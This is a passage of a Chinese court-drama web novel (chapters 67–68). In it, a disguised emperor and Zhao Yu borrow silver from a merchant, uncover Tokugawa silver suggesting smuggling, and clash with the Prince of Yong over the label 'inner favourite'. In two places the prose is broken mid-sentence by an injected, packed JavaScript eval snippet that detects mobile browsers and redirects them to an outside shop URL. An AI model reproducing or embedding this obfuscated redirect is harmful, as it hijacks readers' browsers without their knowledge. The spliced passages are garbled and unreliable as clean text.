此时,文湛只是莞尔,可是这种笑转瞬即逝,转眼,他的脸上像是贴上了一层上等宣纸,让人完全看不出任何表情。 沈臻一直暗中仔细看着他,此时,心中忽然打个突。 ——这个人,可以把心思控制的如此严密,…… ‘六公子’的反应不太像正常人。 一般来说,听到这样的话,此人应该尴尬,应该恼,甚至会愤怒!无论如何,都不应该像’六公子’此时的样子。 淡然。 不,是冷漠! 似乎,他眼前所有人都是蝼蚁。 似乎,在他眼中,眼前超过百万两的白银不过是一摊沙土。 赵毓说,“我认。他说的话,我都认。” 闻言,沈臻颇为意外,他惊讶到双目微睁,随即压抑了自己的真实情绪。 而薛宣平则比他要夸张许多,他那双原本看不见的眯缝眼,此时成了两颗龙眼! 他用力上下左右看文湛。 赵毓一拍他脑袋,“作甚?” “这个小白脸是何方妖孽?”薛宣平啧啧称奇,“老赵,不是我说你,你老丈人,堂堂的西北王,都不敢说让你认他的话,这个小白脸居然让你开了这个口,奇怪奇怪! 薛宣平自认为太了解赵毓了。 老赵是那样看上去好说话的老好人,其实软硬不吃,很多时候,他必定说一不二。 他们一起下馆子喝酒吃菜,赵毓都不会让人帮他点菜,就是因为不想其他人为他做决定,哪怕琐碎小事。 可是,眼前这笔过百万两白银的拆借,他却让‘六公子’为他做决定。 反常。 妖异。 有妖风,难道,要变天? 沈臻却没有这么多感叹,他说,“只要赵兄认账,一切好办。六公子,有何指教?” 文湛安静的回答,“白银的成色不好。” “这已经是市面上成色不错的银锭。”沈臻指着前面几十排的木架子上的银锭,“正宗墨西哥白银,全部是广东行商用丝绸茶叶还有瓷器换回来的。如果六公子对这种成色还看不上眼,就只能找那种高纯度的银锭,我这里肯定没有。不过,雍京城倒是能找到。” 文湛,“哪里?” “户部。”沈臻笑的犹如多年未见天日一般,带着苔藓的味道,“那是我大郑朝廷的命脉。银锭都是铸银局一遍一遍精炼出来的,火耗去了一层又一层。那些官锭纯度肯定高,就是数量少。去年一年,户部收上来的税银不过七千万两,实打实的算一算,也就是六、七十个大户的存银。” ——户部税银的数额,沈臻怎么知道? 在场几人心思变幻。 赵毓知道文湛极其忌讳这些。 沈臻有一句话是对的,——户部的税银,那是大郑朝廷的命脉! 不过,此时,微服的皇帝却以一种近似轻薄的情绪,开口说,“不对。” 沈臻反问,“什么不对?” 文湛,“去年户部的税银是七千三百一十万两,不算零头。” 既然沈臻已经知道了‘七千万两’,那么,再说的准确一些,也无所谓。 此人背后一定有深渊。 绝对。 不能留。 沈臻心中又是一个突。 ——他说出去年户部的税银,不过是想要给对方一个下马威,让此人心中琢磨自己背后的实力,可是,这位居然接招拆招,抛出来的竟然是一把锋利的利剑!这位六公子甚至比他更准确,这至少说明六公子背后的实力更强悍! 于是,他状似不经意的试探文湛,“您知道的真多,听六公子这雍京官话说的纯正,可是家中的老爷子一直在朝为官?” “不是。”文湛说。 沈臻转而看着赵毓。 他知道赵毓说的官话也非常纯正。 但是。 他知道赵毓是尹家娇婿,并且,西北又有传闻他是罪臣之子,所以他会说纯正的官话自然不稀奇。 但是这位身份不明的’六公子’,…… 鬼知道,这是个什么称呼?! 他正想着,就听见文湛却问他,“沈先生的官话说的也很不错,想必也是官宦子弟?” “不是。”他沈臻的出身,赵毓门清,所以在姓赵的面前没必要隐藏。他说,“我爹是猎户,官话是我后来自己学的。我要在雍京做生意,一口乡音未免被人看不起,这是赚不了大钱的。” “好。”文湛点头,“沈先生果然是才俊,只是,……” 他忽然停住,淡淡的晾了沈臻一下,才说,“沈先生的官话中带着吴音。我粗略分辨了一下,教您官话的那位,应该出身姑苏?” 闻言,沈臻的心似乎被大锤用力砸了一下,差点碎裂。 雍京官话是大郑权贵说话的口音,语调与用词。 这是二百年前,泰宗皇帝为了将权力从出身江南,确切的说是出身姑苏世家、讲的一口吴音的文臣们手中夺回来而创立的一种官话。 这是以雍京周围的方音,加以古音矫正而形成的口音。 当年的泰庙曾经说过,如果再不扼制吴音,微音殿充斥着吴侬软语,雍京尽是姑苏方言,天子榜单上江南进士人满为患! 虽然权贵们说官话已经二百余年,可是出身江南士族的士大夫还是以一口吴音为傲,所以,朝廷让文臣改说官话,只有姑苏口音最不容易变更,也最顽固。 即使这些大人们无法与皇权抗争,但是小小的阳奉阴违还是可以法外容情的。 姑苏世家的文臣们即使雍京官话说的再好,底子中透着一股子吴音的味道,却特别清淡,几不可察,若非文湛经年累月与这样的人打交道,也就错过了。这如同在飓风洪水中抓住一根稻草,难比攀走蜀道。 文湛一听沈臻说话就知道,教沈臻官话的这个人必定出身姑苏。 这些是薛宣平他们根本不可能察觉的事情。 甚至连赵毓,也疏忽了。 其实,这雍京城中江南出生的官员、名士还有士子多得很,能讲些略带着吴音的官话不算什么稀奇事,沈臻只要大方承认就好,可是他却下意识否认了。 “说起来,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728924|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是专门和谁学的官话。我在雍京住久了,听多了,就会了。” 薛宣平刚想说,——你小子净胡说八道! 这官话一字、一句,甚至一个声调、一个尾音、一个颤音都需要一点一滴模仿外加矫正,不下狠功夫根本不可能有所成就。 沈臻这口官话,人前一刻钟,背后就算没有十年功,也有七、八年。 赵毓一把扯过薛宣平,“老薛,你去看看后面几个木架子的东西,那些似乎是稀罕物,我看着眼生,这辈子从来没见过。” 他边说,边向那边走。 “老赵别说笑了,这世上还有你没见过的银锭?” 薛宣平说着,却迈开脚跟着赵毓向那边走过去,而沈臻与文湛也同时看了过来。 沈臻这个银窖有点意思。 外面能看到的都是可以在市面上流通的银锭,五十两一块,虽然在文湛眼中,这些银锭的成色不够,当然,这些的确与户部、大内的那些高纯度银锭无法相比,但是其实成色还是水准之上。 中间有几排放着金锭。 凡是做长途贸易的人,都喜欢贮存一些黄金。与白银相比,黄金更小,更贵,更容易携带,也更方便使用。 目前大郑金贱银贵,一两黄金只能兑十两白银,而泰西各国的金价则是一两黄金兑白银十六两。 当年赵毓在西北的时候,曾经倒卖过黄金给波斯商人,再通过陆路运到泰西各国。这笔财,虽然无法同对于西疆涸泽而渔所获得的财富相比,但是相对于什么丝绸马匹的生意来说,还是获利要多的多。 银窖再向里,则杂陈着一些白银铸造的钱币,来源芜杂,成色更是一言难尽。 赵毓拿起来一把,薛宣平举着火把照亮,看了看,“哎,我还以为什么稀罕物,老赵,这不就是普通的‘佛头’吗?” 泰西夷人喜欢把他们的皇帝的脑袋印在钱币上。 这与大郑的国法与习俗大相径庭。 于是,大郑的老百姓把外面流进来的印刻着夷人主子脑袋瓜子的银元成为‘佛头’。 赵毓仔细挑拣了一枚银元,“老薛你仔细看看,这有个美人儿!” 赵毓手指上的银元,果然印刻着一名女子的侧像,——高高的鼻梁,长长的眼睫毛,头发蓬松卷曲,嘴唇紧闭,头顶上是一顶桂树叶子、珍珠还有各种珠宝杂陈的冠冕。 薛宣平,“这是,……” “泰西母狼。”沈臻的声音,“泰西各国混战,有些小国的王族男人都死绝了,只能女子登基。那些能登上王位手握军政大权的女子被称为母狼。这些银元是其中一个国家的女王登基之后铸造的,上次一些波斯商人买丝绸,这些银元是他们用来付钱。这位美人儿相貌好,就是命不好,登基没多久丈夫战死,儿子战死,最后,她们国家叛乱,她被叛军抓了,然后,……。赵兄的眼力果然好,离这么远,都能看见美人儿。” 赵毓则笑着说,“我喜欢稀罕的东西,还有,这批银元成色不错。” “有喜欢的东西就是好事。”沈臻问他,“赵兄,你想好从我这里借多少白银?” 赵毓却说,“这事,他说了算,我听他的。” 他说话的时候,眼睛看着文湛。 沈臻即使再震惊,也可以掩盖情绪了。 方才文湛纡尊降贵与沈臻说话的时候,赵毓忽然想明白一件事。 ——他多谋少断,太犹豫。 目前为止,他们身在一个看不见、摸不着边际的陷阱当中。 赵毓知道沈臻有阴谋,也有目的,他甚至知道沈臻已经设了局,但是他就是想不明白,究竟这个局是什么。于是,他想得越多,顾忌的也就越多。绕来绕去,他反而把自己绕了进去,根本无法决断。 就比如从沈臻这里借白银的事情。 赵毓知道自己今天一定要拿走一些白银,这是情势比人强,但是究竟拿多少算合适,他却摸不准。如果拿的白银少了,他怕再出一些意外,他西北道赵毓的招牌就碎了;可是如果拿的多了,万一将雍京的银价压的过分了,会不会出什么意想不到的大乱子? 虽然他一直面上波澜不惊,其实心中的心思一直翻滚着。 直到现在,他还是没有决断。 可是文湛不同。 文湛之前是储君,如今是帝王,他的决断力与赵毓的不可同日而语。 即使他们同在毓正宫读书,虽然不至于有云泥之差,却终究是不一样的。 赵毓想的,是得到一个’圆满’。 人圆满。 而文湛不同。 对于他来说,世上根本没有‘圆满’。 所有人都是蝼蚁,除了皇帝本人。 百姓,官员,军队,甚至帝国王朝全部是为了他而存在的,也许,这个尘世也是为了他而存在的。 所以他的心中包含了一切,却事实上,却空无一切。 皇帝的心是空茫的。 所以,身处这样的境地之后,文湛反而能够看清楚一些可以蒙蔽其他人眼睛的东西。 比如现在。 不谈别的,只说赵毓需要多少白银,就从沈臻这里借多少就好。 至于沈臻的想法与设局,……,重要吗? 沈臻听了赵毓说“这事,他说了算,我听他的”之后,就同文湛仔细估算起来:——银锭的成色,可以拿走的数量,还有各种银元兑换成官锭的折损。 大郑虽然有海禁,却因为一直缺少白银而并没有严苛的禁止海上贸易。所以如今市面上各色银锭、银元都可以流通使用。 广西的白流银,浙江的元丝银,西疆八回部的流沙银,藏区的银元,还有番邦的番钱、佛头,等等,诸如此类,都可以在市面上看到。 户部对于各种成色,各种来源的银锭、银元相对于官锭有严格的兑换价格。 这方面的事物,任何人也无法蒙蔽文湛,——这么一个手握实权,牢牢控制户部的皇帝。 沈臻发现自己在这个赵毓的小白脸面前一丝半点的便宜都沾不到,并且,他需要凝神静气,防止自己一个不留神,被杀个干干净净,片甲不留。 薛宣平听着他们两个一来一往,犹如看着一场没有硝烟的战争。 他忽然有些明白,赵毓并不是一头色令智昏的蠢驴,他还是那个插了根尾巴就是猴儿的老赵,猴精猴精的,已经精明到了极点! ——‘老赵走了什么狗屎运,找个真个俊的小白脸都不是白吃干饭的!’ 薛宣平一边想,一边看着沈臻吃瘪,他兴致正高,却看见赵毓在众人不在意的时候,从沈臻银窖后面的一个烂木箱子中偷偷拿走一块银锭,放在袖子中。 薛宣平愣怔,刚要张嘴,赵毓冲着他微微比了一个双唇闭紧的手势。 ——“嘘~~~~~~” 他这才知道,赵毓方才说的稀罕物,其实是这个。 方才火光暗,薛宣平也是匆匆一瞥,只是瞄到赵毓偷走的银锭成色出奇的好,却形状少见,尤其是上面的花纹更是罕见。 一个圆框,中间是三叶葵纹。 这是,…… 东瀛德川幕府的家徽! 67. 67 67 最后,文湛做主,赵毓从沈臻这里拿走了白银七十八万两。 裴檀命人换了普通的灰布短衫过来搬运现银,直接运到雍京西城的赌坊,用以下注雍京银价大跌。而这些事情,就不用再任何人明说。 沈臻府门外。 赵毓回头看了看这外表看不出什么来的两扇原木大门,又看了看天,估算了一下时辰,对薛宣平说,“你先回西北道准备一下,我的大账房就在那里,已经攒够了现银,可以兑付那位客人的‘永镇山川’。你去帮个忙,给点点数。” 薛宣平,“老赵,给我看看你顺的银锭?” “不给。”赵毓一口回绝,“我留着给自己买麦芽糖吃。” 薛宣平,“……” 随即,他看了看赵毓身后的文湛。 此时,薛宣平对于这个小白脸有了新的认知,也客气多了。于是,双手抬高,施礼说道,“这位小哥,我们见过几次都还没有请教您尊姓大名。” 文湛知道此人同赵毓关系匪浅,于是,也没有怠慢,温和的说了一句,“我是不肖子孙,无法说出真实姓名,以免家门受辱。” ‘世家公子’,‘家道中落’,‘依附赵毓’! 顿时,这三个段子整齐排列,依次出现,充盈了薛宣平浑圆肥大的脑袋。 薛宣平马上堆笑,“小哥莫怪,我不是要钻山打洞的探听你的底细,我只是,……”他正绞尽脑汁在自己文辞贫瘠的脑袋中想要挑拣一些比较文雅的词语,结果却看见老赵冲着他一个劲的撇嘴,“老赵,你冲着我龇什么牙,你牙痒痒?” “我想说,你快跑吧。”赵毓推他的肩膀头子,“要是跑快点,还能赶上晚饭。萧老大他们都去天津了,今天人口少,牛妈用大锅熬鱼吃,还贴锅饼子。” 薛宣平一听,立刻将文湛忘在脑后,离开甩动着他那两条大粗腿,像一只肥大的兔子一般,蹿了。 文湛,“……” 傍晚开始下雨,一滴雨水掉落,赵毓抬手抚了一下头发,将其挥落。 “一场秋雨一场寒。”赵毓,“按下葫芦浮起来个瓢。” 文湛,“你的诗文功力渐长。” 赵毓,“……” 文湛,“怎么?” 赵毓,“原本以为你不是一个喜欢说笑的人,现在看来,我错了。” 闻言,微服的皇帝只是笑。 “文湛,我顺的那块银锭,……” “回去再说。” 此时,雨水落的急了一些,一直微服跟随的禁卫军将薄狐裘披风拿过来,他将其披在赵毓身上。 东瀛,又称日本。 作为帝王,文湛自然熟读经史,却对邻国的日本所知甚少。他知道的,只是二十四史中,那些好像边角碎料一般的文字,记载着这个国家的流年。 ——考日本之为国,不过三岛,浮沉东海,犹一粟土地,军力俱不及天/朝十分之一。 文湛说,“我所知道的日本,只是一个蕞尔小国,民风不好,倭寇长期侵扰东海。可是!”此时,他话语一转锋,“那些倭寇中,最厉害的却以郑人为主,还雇一些私兵,在东海以走私盈利。除此之外,我只知道兵部每年以铜钱与丝绸购买日本产的硫磺用以布防西北。” “这个日本吧,……”赵毓的头发有些潮,他抓了抓,“虽然说他们的历史不长不短,并且总是遣送一些文人士子到咱们这里来学这学那,但是都学的走了样子。这几百年来,要说用一个字来形容东瀛,那就是穷;如果用两个字来形容日本,那就是狠穷;如果用三个字来形容德川幕府,那就是穷疯了。” “怎么,东瀛那位天皇不给幕府将军俸禄?” 文湛冲了热茶,推了一杯到赵毓面前。 赵毓拿出那块银锭,递给文湛。文湛接过去,仔细看着这块少见的稀罕物。 “天皇给幕府俸禄?”赵毓抿了一口茶水,润润嗓子,继续说,“不,不,不。日本的天皇就好像云南的宣威火腿、又或者是浙江的金华火腿,还比如是湘西的松烟熏烤的腊肉一般,高高挂在他们的旧京都。日本国内掌握实权的却是幕府将军德川家族,这个三叶葵的纹章就是他们家族的族徽,不过,据说也是从之前的哪个家族中过继过来的。” 文湛,“为什么幕府会穷疯?因为他们雕刻的这个三叶葵很难看,所以招惹了穷神?” “呃,……,这个三叶葵,仔细看,也不算太难看。”赵毓,“他们穷,是因为常年的战争。日本国内有割据势力连年打仗的传统,几百年来,老百姓都过着民不聊生的日子。不过,这些年,日本老百姓依旧穷的要吃死人了,幕府却时来运转。” 文湛将这块印刻着三叶葵的银锭推了过来。 赵毓看着这银白色的好东西,叹了口气,“不知道德川家族走了什么狗屎运,居然在石见国东部发现了一个巨大的银矿山,原本叫做佐摩银山,现在直接就叫石见银山。他们又从咱们这里偷了《天工开物》,学会了冶炼白银的‘灰吹法’,大约先帝凤化二十七年之后,德川幕府开始用白银从咱们这里买丝绸、书画、瓷器、药品还有漆器什么的。现在市面上除了墨西哥的白银就是日本的白银,只是,……” 赵毓以手指尖碰了碰面前的银锭,又戳了戳三叶葵纹。 “德川幕府的穷根去不掉,他们禁止使用高纯度的白银进行贸易。现在市面上日本白银的成色比沈臻那边的散碎银两还不如。可是,这一块银锭的成色非常足,几乎可以达到你内库金花银的成色的七八成了,再加上上面印刻着三叶葵,也就是德川家族的纹章,……如果我没有估计错,这是德川家族的私银。沈臻银窖中有这种东西,实在反常。” 文湛,“沈臻通倭?” “不止。”赵毓说,“我怀疑,他也是‘倭寇’之一。毕竟,倭寇中最难对付的人,是咱们郑人的走私贩子,而沈臻,则是这门道中的一把好手。” 文湛忽然问,“比你如何?” 赵毓却反问,“你觉得呢?” “没人能比你更好。”文湛笃定的回答。 赵毓失笑,“即使是走私的伎俩吗?” “是。” 文湛点头。 入夜,西北道在雍京的敦煌会馆异常空寂。 薛宣平坐在宽大的木椅上,看着屋檐下掉落的雨滴,噼里啪啦的。周围的人全部肃穆的好像雍京近郊那些荒山大庙里面残破的石人像。 客人到。 薛宣平连忙起身,就看见有人撑着一把油纸伞,缓缓而来。 客人极年轻。 也许仅仅弱冠的年纪。 却生的极好。 还有,身上是雍京权贵特有的熏香: ——以几种异常名贵的沉木香打底,外引是金合欢与玫瑰,又似乎加入了冰髓,浓重的香味却带着刻骨的冷意,犹如以万众枯骨堆积起来的高高在上的王侯门第。 而且,……,更令人心生疑惑的是,客人的样貌,居然有几分像赵毓那个小白脸?! 越筝平淡的坐下,有下人奉上香茶,他不着痕迹的看了看周围,没有他想要看到的人,于是沉默的低头。 他的眼神淡漠,无趣。 越筝身后的人递过来一份手书,那是一封已经被用醋与显影粉还有热水泡过的永镇山川,上面只有几个字:——大郑元熙三年,正月初三,赵。 薛宣平接过之后,仔细验证,无误。随即让人将准备好的现银一箱子一箱子的抬了过来,给越筝过目。 一共,一百九十六万七千两白银。 全部是雍京铸银局的官锭。 这么多的现银,如果一箱子一箱子的抬进来,过目,过秤,可以抬三天三夜。 越筝将心腹留下,清点现银,装车拉走。 整个雍京都在静寂中,只有他们这里的秤砣等子,还有算盘和车轱辘,呼伦作响。他知道,自己应该拿的这一百九十六万七千两白银,一两一钱,一丝一毫都不会出差。 越筝不知道自己怎么就来了大正宫,他甚至还在微音殿见了皇帝,文湛面对他就如同平常一样,只是问了最近一些政务,连一句白银的事情都没有提起。 “亲爹,我查了查古籍,玉熙宫院子里种了玉须弥,这是一种可以长成参天大树的树苗,但是它们喜欢阳光,不喜欢阴雨,在宫墙拐弯这种常年不见天日的地方,是长不高的。” 少女清澈明快的声音。 越筝抬头看,发现自己居然到了玉熙宫?! 他撑着伞,一步一步走进去,就看见一个十三、四岁的姑娘,蹲在草地中,正在一颗一颗的查看着花苗。 她听见来人的脚步声,抬头。 越筝看见了她的脸,一瞬间感觉到陌生,却又有些莫名的熟悉。 赵毓在禁宫的时候,越筝太年幼,他无法清晰记忆全部往事,然而他又过分的早熟,他可以记住一些东西。 那个时候的赵毓还是祈王承怡,他的笑,他的呵护,还有,他的怀抱。 祈王可以骄纵,可以绵软,可以目空一切,可以恣意妄为,却是温和无害的,不像现在这个人。 听到声音,那人宫殿中走出来。 站在雕花门下。 此时的赵毓,像一个苍白的影子,却不是一个安静的影子,而是灰蒙风雪中一头蛰伏的兽。 赵格非看见来人,连忙起身。此时的她立刻恢复了名门闺秀的端庄与不动如山,然后,以一个雍京贵女见通家之好的长辈的礼数,对越筝见了礼。 “雍王殿下。” “是我。”越筝点头,“格非,我是,……” “闺女,他是你七叔。” 赵毓忽然开口。 同时,他让身后的黄枞菖将雕花门推的更开一些,才对越筝说,“外面下雨,天寒地冻,进来喝盏热茶吧。” 黄枞菖拿了御用的茶盏,盛着淡色的茶水,端上来。 这是刚从武夷运过来的乌龙。 玉熙宫还是原来的样子,所有的一切都是原来的样子,——海南黄花梨的桌椅书柜床榻,上面铺着缂丝,图案则是太液池的红莲。 桌面上摆放着一个柴窑的梅瓶,里面插着一支玉翠芭蕉。 床榻上原本放着一件缂丝蟒袍,现在已经收了起来,可是被褥上面熏着的白昙花的香气却如同水一般的沉静,同时,也如同水一般萦绕在周围。 那个玄铁虎符也还放在书桌上,如同一个普通的珍玩摆设。 “今天下雨,外面冷,哪里也去不了。格非说想要过来看看花苗,我就带她过来了。” 赵毓把茶盏推到越筝的手边。 他继续说,“其实这里有黄瓜一直看着,他手下的徒子徒孙们又巴结的很,院子中的花花草草都长的不错,就是冬天快要到了,再名贵的花草也抗不过凛冬。用不了多久,这里就是一片荒芜了,也许明天开春的时候还会芳草遍地,只是,花也不是今年的这些,草也不是眼前的这一片了。” “这茶还真不错,我原本以为大内喝不到这么好的茶,那些人尽用一些次货来忽悠圣上,显得他们好像很聪明一样,其实,这些伎俩大家都明白,都是一些陈规陋习,不破坏不挑明就算了,要是再拿过来抖机灵,就太糟糕了。” “这白昙花熏香太细致了,感觉和我现在不太合适,我日子过的粗,身边没人会熏这个,慢慢的,就不再熏这些东西了。” 赵毓絮絮叨叨的说了很多,一字未提那封永镇山川债票的事情,也一字未提那一百九十六万七千两白银。 越筝忽然截断他,“怡哥哥,我想要你手中绮镇的土地。我原本想着可以用永镇山川和你换,结果你宁可兑付两百万两的现银也不给我。现在我想问问,羡云飞还有绮镇,多少钱可以卖给我?” 赵毓端着茶盏的手指停顿了一下,“那是不卖的。” “为什么?”越筝,“如果你担心那片土地无法缴税银,不纳粮,致使圣上受损,我可以保证,今后一定按照大郑国法纳税缴银,这样可以吗?” “不可以。”赵毓将手中的茶盏放下。 黄枞菖拿了几个碟子过来,里面装着小点心,而赵格非坐在不远的书桌那边,安静的看着这边。 赵毓说,“我不是不信你此时的话,只是,人的话太轻飘了,即使身份贵重如殿下你,也太轻飘了。一两句言辞,抵挡不了岁月的侵蚀,也改变不了人心对于暴利的追逐,更加无法与列祖列宗留下的王法对抗!按照大郑的国法,你不用缴纳税银,也不用纳粮,这可是你的权利,无人可以反驳,殿下。” 越筝冷笑了一下,随后说,“我只是圣上用来制衡储君的一枚棋子,怡哥哥又不是不知道,我于帝座终究无缘,我只是想要和光同尘但求自保,多一些土地财货,过一些年,再多一些莺莺燕燕,表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728925|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现的如同吉王叔一样。怡哥哥,你这么防备我,有什么意思?” “一百六十四年前,山东有长达八年的大旱。”赵毓的声音如同外面的雨,沉闷中带着凉意。“土地龟裂,暴|民四起。那一代衍圣公还有他的嫡子被人乱刀剁碎,府邸被抢劫一空。可是,当时山东别的士族却少有这样的泼天大祸。为什么?” 越筝没说话。 赵毓,“因为孔府的地租是其他世家的三倍!” 黄枞菖拿过来清甜的银耳汤,赵毓看着这碗汤,他的脸色苍白的犹如那汤水中一朵一朵的银耳。 “以孔圣人千载的圣名、衍圣公的世袭尊荣都无法确保后代子孙永远享用这三倍地租的饕餮盛宴,雍王殿下,您为什么会以为,只要您不染指帝座,就可以在土地财货上对圣上予取予夺,为所欲为?” “怡哥哥,这是在教我吗?”越筝的情绪更糟糕,“不过,你以什么身份教我?是昔年的祈王,是长兄,还是,……,圣上的内宠?” 这一声轻飘飘的‘内宠’,像可以扒皮蚀骨的鞭子,一下子抽到赵毓脸上! 黄枞菖脸一下子全白了。 而,赵格非,竟然连多年修炼的闺秀的稳重都不顾,直接站起来,手中拿过那枚玄铁虎符! 只有赵毓安稳的坐着,甚至脸色都没有一丝改变。 也许,——因为他的面孔本身已经惨白如同一张破纸了。 赵毓却安静的说话。 “我同圣上去了空镜寺,那里有太|祖皇帝赏赐的丹书铁券,唯一一份没有被灭族没有被收回的丹书铁券。上面用丹红色的朱砂,印刻着一行字,——使黄河如带,泰山如粝,郑有宗庙,尔无绝世。如今,一千二百年过去了,大郑的宗庙一直在,可是那些列土封疆、功勋卓著的王侯呢?骨头早已经成了灰,名字也都蒙了尘。” “大郑的王公,可以高爵厚禄,可以身后极致的哀荣,可以有万世的供奉,有香火,有烧猪肉,就是不能拥有万世不变的土地。” “殿下,您觉得当年的祈王骄纵到不可理喻,不可一世吗?可是,您还记得吗,他究竟有没有兼并过土地?有没有以不染指帝座为条件,为自己谋得所谓的万世基业?还有,那一纸褫夺王爵的诏书之后,偌大的祈王府,赫赫扬扬的留园,当年财动雍京城的崔碧城,又是个什么下场?” “先帝子息凋零,活下来的人,为什么不能好好的活着?” 越筝听完,他拿起面前的茶盏,啜了一口茶水,已经凉透了。他说,“承怡,我和你,……,终究,不一样。” …… 良久,赵毓对赵格非所,“闺女,把你手中的玄铁虎符放下吧,雍王那身手,你是砸不到他的。” 内宠,…… 又来一个称谓,这就好像是祈王、草民、小白脸、穿不上铠甲的废物、尹家的入赘女婿、西疆各部的狩猎人,还有,断子绝孙的刽子手,等等,诸如此类的说词一样。 此时,又多了一种身份,又多了一种称谓。 可是,赵毓知道,既然事情他们做都做了出来,就不应该怕人再说。 雍王已经离开很久,赵毓却一直坐在这里,低头看着茶盏,不知道在想什么。 黄枞菖给他重新倒了一盏热茶。此时,太贵妃宫中的尚宫过来,说要接赵格非过去用晚膳。赵毓连忙起身迎送,最近他娘看着花骨朵看的特别紧张,好像大正禁宫中尽是豺狼虎豹,随便随时都能在女儿身上叼上一口。 赵格非离开之前,倒是说了一句话,“亲爹,我跟着舅舅看话本,看到一句话。这个世上,只有真正在意的人,才能将心意狠狠践踏。” 赵毓听着就乐了,“什么话本,写的这么哀怨,一定不是我喜欢的《大闹天宫》。” 格非离开,玉熙宫内只有他与黄枞菖。 “黄瓜,我记得你好像跟着老崔学了曲子,随便弹点啥,给我听听?” 黄枞菖从旁边的木台子上拿出尘封已久的一张琴,调了调音,居然还能用,他的手指随便拨拉了几下,“祖宗,这琴曲里面没有大闹天宫,您是想要听《广陵散》还是《高山流水》,或者是《阳关三叠》?” “都太雅了,换一个下里巴人的。” “那么,来个《梅花三弄》?” “太柔了。”赵毓,“算了,你尝试着用古琴来个弹棉花曲吧。” “祖宗心里有事。”黄枞菖手指拨动琴弦,“我就随便弹几个曲子,给您解闷,您也别挑剔什么雅俗了。” 话音未落,琴声流淌了出来。 一曲《广陵散》,或者说是《聂政刺韩傀曲》,带着戈矛杀伐,带着慷慨激昂,背负着许多人的死亡与反抗,响彻玉熙宫。 赵毓看自己的书柜虽然空旷,但是上面还是有几本不错的春|宫,就拿过来随便翻动。 内宠! 终究,这样的话,还是来了。 只是赵毓没有想到,这一次,他是从越筝,这个已经长大的孩子那里听到这个词——圣上的内宠。 其实三年前,他把冉庄小院的钥匙给文湛之后,心中还有过挣扎。甚至,那一天,他终于等到文湛过来找他的时候,他看见门上的锁被打开,他知道文湛到了,他在门外站了一刻钟,才终于拎着两条从市场买来的草鱼,推开了小院的大门。 赵毓知道,这一步踏出去,就是刀刃上行走,无论是否跌落悬崖,自己的脚与双腿都会被扎到体无完肤。 还有,…… 从沈臻那里拿到的现银已经全部押在西城赌|场。 西北道兑付了越筝那将近两百两的现银,这个坎应该是过去了;十三行被挤兑的风波也逐渐停息,等到明日凌晨,周熙的银船就可以停靠在卢沟晓月,他们最近的烂账都可以平掉;而西北道的萧呈最快明天傍晚,最慢后日晌午之前就可以将大笔现银从天津运回雍京,那时,他们自己的烂账也可以清算清算。 一切似乎尽在掌握。 可是,不知道怎么了,赵毓总是有一种不安,这近似一种本|能。 曲子似乎一直没有断过。 只是,仔细听一听,这曲《胡笳十八拍》当真有委婉悲伤,撕裂肝肠的情感在,什么时候黄瓜这个家伙有如此深厚的琴曲造诣了? 赵毓从书柜那边探出头,看到拨动琴弦的人,却是一身黑色缂丝皇帝常服。 ——“文湛?你怎么过来了?” 68. 68 68 一曲音毕,皇帝随意拨弄了几下琴弦,站起来,“事情做完了,就过来了。” 赵毓要将手中的春|宫图给了黄枞菖,他知道文湛不太喜欢这种东西,所以,他想让黄枞菖收起来,省的碍了皇帝的眼。 可是,文湛却接了过去。 “听说越筝来过。” “嗯,我们一起喝了茶,还说了一会儿话,他走了一会儿了。” 文湛将那封春|宫随意翻了翻,还说了一句,“这画风看着眼熟。” “这是名士屠冼钰的大作,我这幅画是先帝赏的。这位名士的《榆树秋霜图》还有《风雪回鸟》都在禁宫书画院珍藏着,上面还盖着书画大家庐山真人和周孳的私章,难得着呢。这一说,屠冼钰也死了六百多年了,他的画作还有几幅,有些是随笔,有些是涂鸦,不算上品却都是珍品,那些都在清流豪族手中。” 文湛把画卷起来,随后,将画轴递给一直侍立在侧的黄枞菖。 “方才,越筝,……,承怡,他说的话,我都知道了。” “你怎么知道的?” 赵毓一转眼看着黄枞菖,而后者一直弓着身子,双手举着画轴,正想像耗子一样隐遁而去,却被赵毓抓住领子。 “黄瓜,你这个叛徒!” “别责怪他。”文湛将赵毓的手轻轻拉了回来,同时,也让黄枞菖收拾好东西,直接退下,“内宠,这种话,越筝他怎么说得出口?!” “可是,文湛。”赵毓却说,“他说的,也是实话,不是吗?” “不是!我们,……”文湛急切的想要否认,不知道要怎么否认。 “不管我们之间是什么,在外人看来,就是越筝说的那样,陛下。”赵毓紧紧握住文湛的手指,“这种事情,就好像冬天花草会凋零,太阳每天从东方升起,还有,大海上潮涨潮落一样,根本无法改变,也无需改变。” 其实。 三年前。 文湛拿到了承怡给他的钥匙,他也曾犹豫过。 多年的心意终于如愿以偿,却让原本不可一世的帝王看到了另外一面。 那一天,他在赵毓的冉庄小院外面站了整整四个时辰,从黎明到黄昏。 他是皇帝。 大郑的传统向来是为尊者讳,只要他还算是个不错的帝王,在他治下,没有大的兵灾,没有山河破碎,没有大规模的流离失所,他身前的功业可以被歌功颂德淹没,而身后,必然是万古虚假的神圣。 但是。 承怡却不会。 佞幸。 这一罪名,就可以把承怡生前身后名碎裂成齑粉,还带着永世洗不掉的污名写入青史。 